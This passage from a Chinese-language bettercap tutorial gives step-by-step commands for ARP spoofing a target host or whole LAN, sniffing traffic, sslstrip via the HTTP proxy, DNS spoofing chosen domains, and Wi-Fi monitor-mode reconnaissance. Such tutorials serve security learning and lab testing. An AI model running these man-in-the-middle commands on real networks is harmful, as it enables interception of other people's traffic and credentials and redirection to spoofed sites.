<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">arp.spoof off</span><br><span class="line">set arp.spoof.targets 192.168.66.3</span><br><span class="line">arp.spoof on</span><br></pre></td></tr></table></figure>
<p>对于嗅探来说,如果嫌结果冗余,可以先精简结果:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">set net.sniff.verbose false</span><br></pre></td></tr></table></figure>
<p>开启嗅探</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">net.sniff on</span><br></pre></td></tr></table></figure>
<h3 id="HTTP-透明代理"><a href="#HTTP-透明代理" class="headerlink" title="HTTP 透明代理"></a>HTTP 透明代理</h3><p>要分析 HTTP 流量,必须开启 http.proxy。如果结合 sniff 模块,所有嗅探到的 HTTP 流量都会转到 http.proxy,这种情况下,它会自动设置端口转发。<br>如果你想使用 sslstrip,必须设置 http.proxy.sslstrip 为 true,默认为 false</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">set http.proxy.sslstrip true</span><br></pre></td></tr></table></figure>
<p>开启 http proxy:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http.proxy on</span><br></pre></td></tr></table></figure>
<p>下面以攻击 192.168.66.3 为例,首先开启 arp.spoof 让对方的所有流量转到攻击者的机器,然后开启 http.proxy,这样所有 http 流量转到代理模块,然后精简嗅探结果并开启嗅探,这样可以看到所有 sniff 到的重要信息。如果想看到 https,开启 http.proxy.sslstrip。</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">set http.proxy.sslstrip true</span><br><span class="line">set net.sniff.verbose false</span><br><span class="line">set arp.spoof.targets 192.168.66.3</span><br><span class="line">arp.spoof on</span><br><span class="line">http.proxy on</span><br><span class="line">net.sniff on</span><br></pre></td></tr></table></figure>
<p>要攻击整个内网,省略 set arp.spoof.targets 这一句。</p>
<h3 id="DNS-欺骗"><a href="#DNS-欺骗" class="headerlink" title="DNS 欺骗"></a>DNS 欺骗</h3><p>使用 dns.spoof 模块可以实现 DNS 欺骗,默认情况会欺骗目标所有访问的域名。如果要指定欺骗的域名,执行:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">set dns.spoof.domains myt0.com,google.com</span><br></pre></td></tr></table></figure>
<p>设置欺骗转向的地址,默认是本地地址:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">set dns.spoof.address desired_IP</span><br></pre></td></tr></table></figure>
<p>默认只会回应那些对本地的请求,如果要回应任何请求,使用以下命令:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">set dns.spoof.all true</span><br></pre></td></tr></table></figure>
<p>运行 dns spoof:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">dns.spoof on</span><br></pre></td></tr></table></figure>
<h3 id="内置-webserver"><a href="#内置-webserver" class="headerlink" title="内置 webserver"></a>内置 webserver</h3><p>你也可以使用自带的 apache:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">systemctl start apache2</span><br></pre></td></tr></table></figure>
<p>bettercap 内置一个简单的 web server, 首先设置 server 监听的目录:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">set http.server.path /path/folder</span><br></pre></td></tr></table></figure>
<p>开启 http.server</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http.server on</span><br></pre></td></tr></table></figure>
<h3 id="Wi-Fi-网络监听:"><a href="#Wi-Fi-网络监听:" class="headerlink" title="Wi-Fi 网络监听:"></a>Wi-Fi 网络监听:</h3><p>首先使用-iface 指定监听 wifi 网卡:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ sudo bettercap -iface wlan0</span><br></pre></td></tr></table></figure>
<p>这个时候可能会出现报错:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">Can't restore interface wlan0 wireless mode (SIOCSIWMODE failed: Bad file descriptor).</span><br><span class="line">Please adjust manually.</span><br></pre></td></tr></table></figure>
<p>这是因为需要将网卡开启混杂模式:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">$ sudo ip link set wlan0 down</span><br><span class="line">$ sudo iw wlan0 set monitor control</span><br><span class="line">$ sudo ip link set wlan0 up</span><br></pre></td></tr></table></figure>
<p>然后指定网卡启动之后,开启探测 wifi 网络:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">wifi.recon on</span><br></pre></td></tr></table></figure>
<p>执行之后会看到探测的所有 wifi 网络。<br>如果你觉得结果太多,可以设置监听指定的频道:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">wifi.recon.channel 1,2,3</span><br></pre></td></tr></table></figure>
<p>如果之后想监听所有频道,执行:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">wifi.recon.channel clear</span><br></pre></td></tr></table></figure>